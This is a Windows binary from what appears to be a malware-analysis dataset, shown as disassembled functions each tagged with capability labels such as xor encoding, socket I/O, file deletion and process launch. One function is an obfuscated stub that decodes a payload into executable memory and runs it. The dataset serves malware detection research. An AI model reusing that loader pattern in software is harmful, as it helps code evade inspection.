joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x4085a6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4085b5
pop dword [ebp - 8]
mov eax, 0x4085b5
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xbd814afe
add dword [ebp - 0x18], 0x90d0fa4d
mov dword [ebp - 0x14], 0x3ec161a6
add dword [ebp - 0x14], 0xf371ea9f
mov dword [ebp - 0x10], 0x4cde19e2
add dword [ebp - 0x10], 0xff6e2a4c
mov dword [ebp - 0xc], 0x2628d01f
add dword [ebp - 0xc], 0xd9d72fe1
lea eax, [ebp - 0x18]
push eax
mov eax, 0xb22f234f
sub eax, 0xb1ecf2db
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xd03777c2
sub dword [ebp - 0x18], 0x5bc50e6c
mov dword [ebp - 0x14], 0xd713a8c3
sub dword [ebp - 0x14], 0x95a7474e
mov dword [ebp - 0x10], 0xe09fb0a5
sub dword [ebp - 0x10], 0x7d304439
mov dword [ebp - 0xc], 0x433e3f7b
sub dword [ebp - 0xc], 0x433e3f7b
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3dc04
push 0
call eax
mov ecx, 0x4826
xor edi, edi
add edi, eax
mov ebx, 0x434400
add ebx, dword [ebp - 8]
mov esi, 0xe65a251a
sub esi, 0x3c36195b
xor dword [ebp - 4], edx
mov edx, dword [ebx]
add dword [ebp - 4], edx
sub edx, esi
add dword [ebp - 4], ebx
mov dword [edi], edx
add dword [ebp - 4], eax
add edi, 0xa24788e2
sub edi, 0xa24788de
add ebx, 4
loop 0x4086c3
add eax, 0xc0f4c0b2
sub eax, 0xc0f3ad47
mov ebx, eax
add eax, 0x162e43ae
add eax, 0xe9d1bc57
mov ecx, 0xdb734cc6
add ecx, 0x24ccb33a
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x404b90
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push esi
push edi
mov esi, eax
push esi
call sub.WSOCK32.dll_inet_addr
mov edi, eax
cmp edi, 0xffffffff
jne 0x404bcf
push esi
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x404bcf
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
xor ecx, ecx
test eax, eax
je 0x404bc3
mov eax, edx
mov esi, dword [eax + 4]
add eax, 4
inc ecx
test esi, esi
jne 0x404bb8
cmp ebx, ecx
jge 0x404bcf
mov eax, dword [edx + ebx*4]
mov eax, dword [eax]
pop edi
pop esi
ret
mov eax, edi
pop edi
pop esi
ret

Function at 0x404be0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [0x4e6be0]
sub esp, 0x10
test eax, eax
push ebp
mov ebp, dword [esp + 0x20]
jl 0x404c4f
push edi
mov eax, 0x10
mov eax, dword [esp + 0x1c]
push eax
xor ecx, ecx
lea edi, [esp + 0xc]
mov word [esp + 0xc], 2
call sub.WSOCK32.dll_htons
test esi, esi
mov word [esp + 0xa], ax
pop edi
jne 0x404c21
push 0xffffffffffffffff
call sub.WSOCK32.dll_htonl
jmp 0x404c2c
push ebx
xor ebx, ebx
mov eax, esi
call fcn.00404b90
pop ebx
mov edx, dword [esp + 0x1c]
push 0x10
lea ecx, [esp + 8]
push ecx
push 0
push ebp
mov dword [esp + 0x18], eax
mov eax, dword [0x4e6be0]
push edx
push eax
call sub.WSOCK32.dll_sendto
cmp eax, 0xffffffff
jne 0x404c57
or eax, 0xffffffff
pop ebp
add esp, 0x10
ret
mov eax, ebp
pop ebp
add esp, 0x10
ret

Function at 0x409030
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
test edx, edx
jle 0x40905b
push esi
push edi
jmp 0x409040
movzx esi, byte [ecx]
movzx esi, byte [esi + 0x4ac8c8]
lea edi, [eax*8]
xor esi, edi
xor eax, esi
inc ecx
dec edx
jne 0x409040
pop edi
pop esi
ret

Function at 0x409ad0
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push esi
xor esi, esi
push edi
mov dword [esp + 8], esi
mov dword [esp + 0xc], esi
call fcn.00409ab0
mov edi, eax
cmp edi, esi
jne 0x409af9
pop edi
mov eax, 7
pop esi
add esp, 8
ret
push ebx
push ebp
call fcn.004091c0
test eax, eax
je 0x409b44
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push edi
call ebx
push edi
call ebp
mov esi, eax
cmp esi, 0xffffffff
jne 0x409b2c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
mov dword [esp + 0x14], eax
jne 0x409b84
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 5
mov dword [esp + 0x10], eax
jge 0x409b84
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x409b10
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edi
call ebx
push edi
call ebp
mov esi, eax
cmp esi, 0xffffffff
jne 0x409b6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
mov dword [esp + 0x14], eax
jne 0x409b84
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 5
mov dword [esp + 0x10], eax
jge 0x409b84
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x409b50
push edi
call fcn.00498da6
add esp, 4
cmp esi, 0xffffffff
pop ebp
pop ebx
jne 0x409ba3
cmp dword [esp + 0xc], 2
jne 0x409ba3
pop edi
xor eax, eax
pop esi
add esp, 8
ret
pop edi
mov eax, 0xa0a
pop esi
add esp, 8
ret
Function at 0x418ba0
Capabilities:
Get common file path

Disassembly:
mov eax, dword [0x4e70e4]
sub esp, 0x310
test eax, eax
push ebx
push ebp
mov ebp, dword [esp + 0x31c]
push esi
je 0x418bd6
push eax
push 0x4ac3ac
lea eax, [esp + 0x14]
push eax
push 0xe6
call fcn.004189f0
add esp, 0x10
jmp 0x418c5a
call fcn.004091c0
test eax, eax
je 0x418c13
lea ecx, [esp + 0x114]
push ecx
push 0xe6
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ebx, [esp + 0x114]
call fcn.00409270
mov esi, eax
test esi, esi
jne 0x418c3c
pop esi
pop ebp
mov eax, 7
pop ebx
add esp, 0x310
ret
lea eax, [esp + 0x114]
push eax
push 0xe6
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x114]
push ecx
call fcn.004093b0
mov esi, eax
add esp, 4
test esi, esi
je 0x418c04
push esi
lea edx, [esp + 0x10]
push 0x4ac3ac
push edx
push 0xe6
call fcn.004189f0
push esi
call fcn.00498da6
add esp, 0x14
mov ecx, str.etilqs_
call fcn.00408380
lea ecx, [esp + 0xc]
mov esi, eax
call fcn.00408380
lea eax, [esi + eax + 0x11]
cmp eax, ebp
jl 0x418c86
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x310
ret
lea ecx, [esp + 0xc]
call fcn.00408380
test eax, eax
jbe 0x418c9d
dec ecx
cmp byte [ecx + eax], 0x5c
jne 0x418c9d
dec eax
jne 0x418c94
lea ecx, [esp + 0xc]
push ecx
push str._setilqs_
push edi
add ebp, 0xffffffef
push ebp
mov byte [esp + eax + 0x1c], 0
call fcn.004189f0
mov ecx, edi
call fcn.00408380
mov esi, eax
lea edx, [esi + edi]
push edx
push 0xf
call fcn.00412de0
add esp, 0x18
mov ecx, 3
movzx eax, byte [edi + esi]
xor edx, edx
mov ebx, 0x3e
div ebx
add esi, 5
mov al, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi - 5], al
movzx eax, byte [edi + esi - 4]
xor edx, edx
div ebx
movzx eax, byte [edi + esi - 3]
mov dl, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi - 4], dl
xor edx, edx
div ebx
mov al, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi - 3], al
movzx eax, byte [edi + esi - 2]
xor edx, edx
div ebx
movzx eax, byte [edi + esi - 1]
mov dl, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi - 2], dl
xor edx, edx
div ebx
dec ecx
mov al, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi - 1], al
jne 0x418cd2
mov byte [esi + edi], 0
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x310
ret
Function at 0x418ef0
Capabilities:
Get disk size

Disassembly:
sub esp, 0x110
lea eax, [esp + 8]
push eax
push 0x104
push ecx
push edx
mov dword [esp + 0x14], 0x200
call fcn.00418e10
add esp, 0x10
test eax, eax
jne 0x418fc2
push esi
lea eax, [esp + 0xc]
call fcn.00409ab0
mov esi, eax
test esi, esi
je 0x418fa9
push edi
call fcn.004091c0
test eax, eax
mov eax, esi
je 0x418f6d
cmp word [esi], 0
je 0x418f56
cmp word [eax], 0x5c
je 0x418f51
add eax, 2
cmp word [eax], 0
jne 0x418f40
jmp 0x418f56
mov word [eax], 0
lea eax, [esp + 8]
push eax
mov ecx, eax
push ecx
lea edx, [esp + 0x14]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
jmp 0x418f99
cmp byte [esi], 0
je 0x418f84
cmp byte [eax], 0x5c
je 0x418f81
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x418f72
jmp 0x418f84
mov byte [eax], 0
lea ecx, [esp + 8]
push ecx
mov edx, ecx
push edx
lea eax, [esp + 0x14]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push esi
mov edi, eax
call fcn.00498da6
add esp, 4
test edi, edi
pop edi
jne 0x418fb6
mov eax, 0x200
pop esi
add esp, 0x110
ret
mov eax, dword [esp + 8]
pop esi
add esp, 0x110
ret
mov eax, dword [esp + 4]
add esp, 0x110
ret

Function at 0x41a470
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
test ebx, ebx
jne 0x41a47d
xor eax, eax
pop ebx
ret
push esi
mov esi, dword [esp + 0xc]
push edi
mov ecx, 0x44
call fcn.00412930
mov edi, eax
test edi, edi
jne 0x41a497
pop edi
pop esi
pop ebx
ret
mov eax, dword [ebx]
push ebp
mov ebp, dword [esp + 0x1c]
push ebp
push eax
push esi
call fcn.00415950
mov dword [edi], eax
mov ecx, dword [ebx + 8]
push ebp
push ecx
push esi
call fcn.0041a330
mov dword [edi + 8], eax
mov edx, dword [ebx + 0xc]
push ebp
push edx
push esi
call fcn.00420310
mov dword [edi + 0xc], eax
mov eax, dword [ebx + 0x10]
push ebp
push eax
push esi
call fcn.00415950
mov dword [edi + 0x10], eax
mov ecx, dword [ebx + 0x14]
push ebp
push ecx
push esi
call fcn.00420310
mov dword [edi + 0x14], eax
mov edx, dword [ebx + 0x18]
push ebp
push edx
push esi
call fcn.00415950
mov dword [edi + 0x18], eax
mov al, byte [ebx + 4]
add esp, 0x48
mov byte [edi + 4], al
mov ecx, dword [ebx + 0x1c]
push ebp
push ecx
push esi
call fcn.0041a470
mov dword [edi + 0x1c], eax
mov edx, dword [ebx + 0x28]
push ebp
push edx
push esi
call fcn.00420310
mov dword [edi + 0x28], eax
mov eax, dword [ebx + 0x2c]
push ebp
push eax
push esi
call fcn.00420310
mov dword [edi + 0x2c], eax
xor eax, eax
mov dword [edi + 0x30], eax
mov dword [edi + 0x34], eax
xor ecx, ecx
mov cx, word [ebx + 6]
add esp, 0x24
mov dword [edi + 0x24], eax
or eax, 0xffffffff
pop ebp
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], eax
and ecx, 0xfff7
mov dword [edi + 0x40], eax
mov word [edi + 6], cx
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x454a20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x80
push ebx
push ebp
push esi
push edi
mov eax, dword [esp + 0x94]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [esp + 0x30], ecx
mov ecx, dword [eax + 8]
mov dword [esp + 0x34], edx
mov edx, dword [eax + 0xc]
xor eax, eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x38], ecx
mov ecx, dword [esp + 0x98]
mov dword [esp + 0x48], eax
mov dword [esp + 0x3c], edx
mov edx, dword [ecx]
mov dword [esp + 0x4c], eax
mov eax, dword [ecx + 4]
mov dword [esp + 0x70], edx
mov edx, dword [ecx + 8]
mov dword [esp + 0x74], eax
mov eax, dword [ecx + 0xc]
xor ecx, ecx
mov dword [esp + 0x78], edx
mov edx, dword [esp + 0x9c]
mov dword [esp + 0x7c], eax
mov eax, dword [edx]
mov dword [esp + 0x80], ecx
mov dword [esp + 0x84], ecx
mov dword [esp + 0x50], eax
mov dword [esp + 0x88], ecx
mov dword [esp + 0x8c], ecx
mov ecx, dword [edx + 4]
mov eax, dword [edx + 8]
mov dword [esp + 0x58], eax
xor eax, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x54], ecx
mov ecx, dword [edx + 0xc]
xor edx, edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x60], edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x64], edx
mov dword [esp + 0x68], edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x5c], ecx
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], eax
mov dword [esp + 0x6c], edx
push ecx
lea edx, [esp + 0x54]
mov dword [esp + 0x30], eax
push edx
mov eax, ecx
push eax
mov dword [esp + 0x1c], 1
call fcn.00452a60
add esp, 0xc
xor esi, esi
xor ebp, ebp
mov ebx, dword [esp + ebp*4 + 0x70]
test ebx, ebx
mov edi, 0x20
je 0x454b81
mov edi, edi
test bl, 1
je 0x454b79
test esi, esi
je 0x454b52
lea esp, [esp]
lea ecx, [esp + 0x30]
push ecx
call fcn.00451770
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x58]
push eax
mov ecx, edx
push ecx
call fcn.00452a60
add esp, 0x10
dec esi
jne 0x454b30
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x34]
push eax
mov ecx, edx
push ecx
call fcn.00453530
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x60]
push eax
mov ecx, edx
push ecx
call fcn.00452a60
add esp, 0x18
shr ebx, 1
inc esi
dec edi
test ebx, ebx
jne 0x454b20
add esi, edi
inc ebp
cmp ebp, 4
jb 0x454b11
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0xa0]
mov ecx, dword [esp + 0x14]
mov dword [edx], eax
mov eax, dword [esp + 0x18]
pop edi
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x18]
pop esi
mov dword [edx + 8], eax
pop ebp
mov dword [edx + 0xc], ecx
pop ebx
add esp, 0x80
ret
Function at 0x45b130
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
cmp dword [0x4c4c5c], 0xffffffff
push ebx
push ebp
push esi
push edi
mov edi, 0x4e7350
mov esi, 0x4e7358
jge 0x45b034
push 0x1105
call fcn.0045afe0
add esp, 4
mov ecx, dword [0x4e7350]
mov eax, dword [0x4e7354]
mov dword [0x4c4c5c], 0x26f
mov dword [0x4e7d14], 0x4e7354
mov edx, 0xe3
jmp 0x45b060
mov ebp, dword [esi + 0x62c]
mov ebx, eax
xor ebx, ecx
and ebx, 0x7ffffffe
xor ebx, ecx
mov ecx, eax
and cl, 1
shr ebx, 1
neg cl
sbb ecx, ecx
and ecx, 0x9908b0df
xor ebx, ecx
xor ebx, ebp
mov dword [edi], ebx
mov ecx, eax
mov eax, dword [esi]
add edi, 4
add esi, 4
dec edx
jne 0x45b060
mov ebx, 0x4e7350
mov ebp, 0x18c
mov edx, eax
xor edx, ecx
and edx, 0x7ffffffe
xor edx, ecx
mov ecx, eax
and cl, 1
shr edx, 1
neg cl
sbb ecx, ecx
and ecx, 0x9908b0df
xor edx, ecx
xor edx, dword [ebx]
mov dword [edi], edx
mov ecx, eax
mov eax, dword [esi]
add edi, 4
add ebx, 4
add esi, 4
dec ebp
jne 0x45b0a0
mov esi, dword [0x4e7350]
mov eax, esi
xor eax, ecx
and eax, 0x7ffffffe
xor eax, ecx
shr eax, 1
mov ecx, esi
and cl, 1
neg cl
mov edx, esi
sbb ecx, ecx
and ecx, 0x9908b0df
xor eax, ecx
xor eax, dword [ebx]
mov dword [edi], eax
mov eax, edx
shr eax, 0xb
xor edx, eax
mov ecx, edx
and ecx, 0xff3a58ad
shl ecx, 7
xor edx, ecx
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
pop edi
pop esi
mov eax, edx
shr eax, 0x12
pop ebp
xor eax, edx
pop ebx
ret
dec dword [0x4c4c5c]
jns 0x45b13d
jmp 0x45b010
mov eax, dword [0x4e7d14]
mov ecx, dword [eax]
add eax, 4
mov dword [0x4e7d14], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov edx, ecx
and edx, 0xff3a58ad
shl edx, 7
xor ecx, edx
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret
Function at 0x462b40
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x258
push edi
mov edi, dword [esp + 0x260]
cmp edi, 0xffffffff
mov dword [esp + 8], 0x10
mov word [esp + 0xc], 2
jne 0x462b77
mov eax, dword [esp + 0x268]
mov dword [eax], edi
or eax, edi
pop edi
add esp, 0x258
ret 0xc
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0x240
lea eax, [esp + 0x2c]
push eax
push edi
call dword [sym.imp.WSOCK32.dll_recvfrom]
cmp eax, 0xffffffff
mov dword [esp + 4], eax
je 0x462c35
mov ecx, dword [esp + 0xe]
push esi
push ecx
call dword [sym.imp.WSOCK32.dll_ntohs]
mov esi, eax
mov eax, dword [esp + 8]
test eax, eax
jle 0x462bf8
push edi
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x28]
push edx
push esi
push eax
call fcn.00497bc0
add esp, 0x14
test eax, eax
jne 0x462bf8
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x24]
push edx
push 0x4ebeb0
call fcn.0046a740
add esp, 0xc
test eax, eax
jne 0x462c08
mov eax, dword [esp + 0x26c]
mov dword [eax], 0
pop esi
mov eax, 1
pop edi
add esp, 0x258
ret 0xc
mov ecx, dword [esp + 0x268]
mov edx, dword [esp + 8]
mov eax, dword [esp + 0x14]
push ecx
push edx
push 0x4ebeb0
push esi
push eax
call fcn.004567f0
pop esi
mov eax, 1
pop edi
add esp, 0x258
ret 0xc
mov ecx, dword [esp + 0x268]
mov dword [ecx], 0
xor eax, eax
pop edi
add esp, 0x258
ret 0xc

Function at 0x462c50
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x10
push ebp
mov ebp, dword [esp + 0x18]
cmp ebp, 0xffffffff
jne 0x462c66
or eax, ebp
pop ebp
add esp, 0x10
ret 0x14
mov eax, dword [esp + 0x28]
push ebx
push esi
push edi
push eax
call dword [sym.imp.WSOCK32.dll_htons]
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x2c]
mov edi, dword [esp + 0x28]
mov ebx, dword [sym.imp.WSOCK32.dll_sendto]
mov word [esp + 0x12], ax
mov dword [esp + 0x14], ecx
mov word [esp + 0x10], 2
push 0x10
lea edx, [esp + 0x14]
push edx
push 0
push esi
push edi
push ebp
call ebx
test eax, eax
je 0x462c96
cmp eax, 0xffffffff
pop edi
pop esi
pop ebx
je 0x462cb9
xor eax, eax
pop ebp
add esp, 0x10
ret 0x14
call dword [sym.imp.WSOCK32.dll_WSAGetLastError]
pop ebp
add esp, 0x10
ret 0x14

Function at 0x462cd0
Capabilities:
Set socket configuration

Disassembly:
mov eax, dword [esp + 0x10]
push esi
push eax
mov esi, ecx
call dword [sym.imp.WSOCK32.dll_inet_addr]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0x14]
push edx
push eax
push ecx
mov ecx, esi
call fcn.00462c50
pop esi
ret 0x14
Function at 0x46a400
Capabilities:
Link many functions at runtime

Disassembly:
push ecx
push ebp
push esi
push 0x20
mov ebp, ecx
call fcn.0049aa31
add esp, 4
test eax, eax
je 0x46a432
xor ecx, ecx
mov edx, eax
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
mov dword [edx + 0x14], ecx
mov dword [edx + 0x18], ecx
mov dword [edx + 0x1c], ecx
mov esi, eax
jmp 0x46a434
xor esi, esi
mov eax, dword [esp + 0x10]
push eax
mov dword [esp + 0xc], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [esi], eax
jne 0x46a45a
push esi
call fcn.0049aaa8
add esp, 4
pop esi
xor eax, eax
pop ebp
pop ecx
ret 4
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Load
push eax
call edi
mov dword [esi + 8], eax
mov ecx, dword [esi]
push str.Unload
push ecx
call edi
mov dword [esi + 0xc], eax
mov edx, dword [esi]
push str.Supports
push edx
call edi
mov dword [esi + 0x10], eax
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x46a540
test eax, eax
je 0x46a540
call eax
mov dword [esi + 4], eax
and eax, 0xffff
cmp eax, 0x220
jle 0x46a4c5
mov eax, dword [esi + 4]
and eax, 0xffff
push eax
push str.__Unsupported_version___This_plugin_requires_version__x.
call fcn.0048c8d0
add esp, 8
jmp 0x46a54d
test dword [esi + 4], 0x10000
je 0x46a4ea
mov edx, dword [esi]
push str.AmxLoad
push edx
call edi
mov dword [esi + 0x18], eax
mov eax, dword [esi]
push str.AmxUnload
push eax
call edi
mov dword [esi + 0x1c], eax
jmp 0x46a4f8
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
test dword [esi + 4], 0x20000
je 0x46a510
mov ecx, dword [esi]
push str.ProcessTick
push ecx
call edi
mov dword [esi + 0x14], eax
jmp 0x46a517
mov dword [esi + 0x14], 0
push ebp
call dword [esi + 8]
test al, al
jne 0x46a524
mov edx, dword [esi]
push edx
jmp 0x46a550
lea eax, [esp + 0xc]
push eax
lea ecx, [ebp + 0x4b0]
call fcn.0046a3b0
pop edi
pop esi
mov eax, 1
pop ebp
pop ecx
ret 4
push str.__Plugin_does_not_conform_to_architecture.
call fcn.0048c8d0
add esp, 4
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call fcn.0049aaa8
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebp
pop ecx
ret 4

Function at 0x46a6c0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
xor al, al
xor ecx, ecx
test esi, esi
je 0x46a6e0
push edi
mov edi, dword [esp + 0xc]
mov dl, byte [ecx + edi]
and dl, 0xaa
xor al, dl
inc ecx
cmp ecx, esi
jne 0x46a6d2
pop edi
pop esi
ret

Function at 0x480a60
Capabilities:
Create thread

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push 0
push ecx
push 0x4809f0
push 0
push 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x480a9a
cmp eax, 0xffffffff
je 0x480a9a
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ecx
ret
xor eax, eax
pop ecx
ret
Function at 0x480aa0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4aae41
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov eax, 0xf
mov dword [esi + 0x28], eax
mov dword [esi + 0x24], ebx
mov dword [esp + 8], esi
mov byte [esi + 0x14], bl
mov dword [esi + 0x44], eax
mov dword [esi + 0x40], ebx
mov dword [esp + 0x18], ebx
mov byte [esi + 0x30], bl
push 0x7330
mov byte [esp + 0x1c], 1
call fcn.0049aa31
add esp, 4
mov dword [esp + 0xc], eax
cmp eax, ebx
mov byte [esp + 0x18], 2
je 0x480b0a
mov ecx, dword [esp + 0x20]
push ecx
mov ecx, eax
call fcn.00468080
jmp 0x480b0c
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov byte [esi + 0x48], 1
mov ecx, dword [esp + 0x10]
xor edx, edx
lea eax, [esi + 0x4d]
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], edx
mov dword [eax + 0x14], edx
mov dword [eax + 0x18], edx
mov dword [eax + 0x1c], edx
mov dword [eax + 0x20], edx
mov dword [eax + 0x24], edx
mov dword [esi + 0x75], ebx
mov dword [esi + 0x79], ebx
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 4
Function at 0x48e0f0
Capabilities:
Create process on windows

Disassembly:
fld dword [0x515d00]
sub esp, 0x120
fsub dword [esp + 0x124]
fst dword [0x515d00]
fcomp dword [0x4ac700]
fnstsw ax
test ah, 0x41
jp 0x48e184
mov ecx, dword [0x4f5fbc]
push str.port
mov dword [0x515d00], 0x43960000
call fcn.0048b5b0
push eax
lea eax, [esp + 4]
push 0x4b0da4
push eax
call fcn.00498e50
mov ecx, dword [0x4f5fbc]
add esp, 0xc
push str.bind
call fcn.0048b4d0
lea ecx, [esp]
push ecx
lea edx, [esp + 0x24]
push 0x4ac3ac
push edx
call fcn.00498e50
add esp, 0xc
push 0
push 0
lea eax, [esp + 0x28]
push eax
push str.announce.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esp, 0x120
ret 4
Function at 0x497ae0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [0x515d18]
test eax, eax
je 0x497bb1
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
mov eax, ebp
push edi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x497b00
mov ecx, dword [0x515d20]
sub eax, edx
lea edx, [eax + ecx + 2]
push edx
call fcn.00498d94
mov ecx, dword [0x515d20]
mov esi, dword [0x515d1c]
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x515d20]
add esp, 4
mov ebx, eax
add eax, ecx
mov ecx, ebp
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x497b47
sub ecx, esi
mov word [eax], cx
mov ecx, ebp
add eax, 2
lea esi, [ecx + 1]
jmp 0x497b60
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x497b60
sub ecx, esi
mov edx, ecx
shr ecx, 2
mov esi, ebp
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, ebp
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x497b80
push 0x10
sub ecx, esi
push 0x515d08
push 0
sub ecx, ebx
add ecx, eax
mov eax, dword [0x4e5974]
push ecx
push ebx
push eax
call dword [sym.imp.WSOCK32.dll_sendto]
push ebx
call fcn.00498da6
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret